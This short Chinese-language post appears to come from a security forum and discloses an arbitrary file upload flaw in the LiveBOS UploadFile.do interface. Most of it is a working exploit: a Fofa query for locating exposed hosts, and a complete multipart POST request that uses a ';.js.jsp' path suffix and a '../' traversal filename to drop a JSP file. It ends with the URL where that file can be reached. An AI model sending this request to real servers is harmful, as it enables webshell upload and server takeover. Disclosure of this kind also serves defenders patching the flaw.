LiveBOS UploadFile.do任意文件上传漏洞

勾八

8个月前发布

漏洞描述

LiveBOS接口UploadFile.do存在任意文件上传漏洞，攻击者可通过此漏洞上传恶意脚本文件，对服务器的正常运行造成安全威胁！

Fofa：

body=”LiveBOS”

POC：

POST /feed/UploadFile.do;.js.jsp HTTP/1.1 
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxegqoxxi
Connection: close
 
---WebKitFormBoundaryxegqoxxi
Content-Disposition:form-data; name="file"; filename="/../../../../文件名.jsp"
Content-Type: image/jpeg

文件内容
---WebKitFormBoundaryxegqoxxi--

返回地址：

http://ip/文件名.jsp;.js.jsp

1人已评分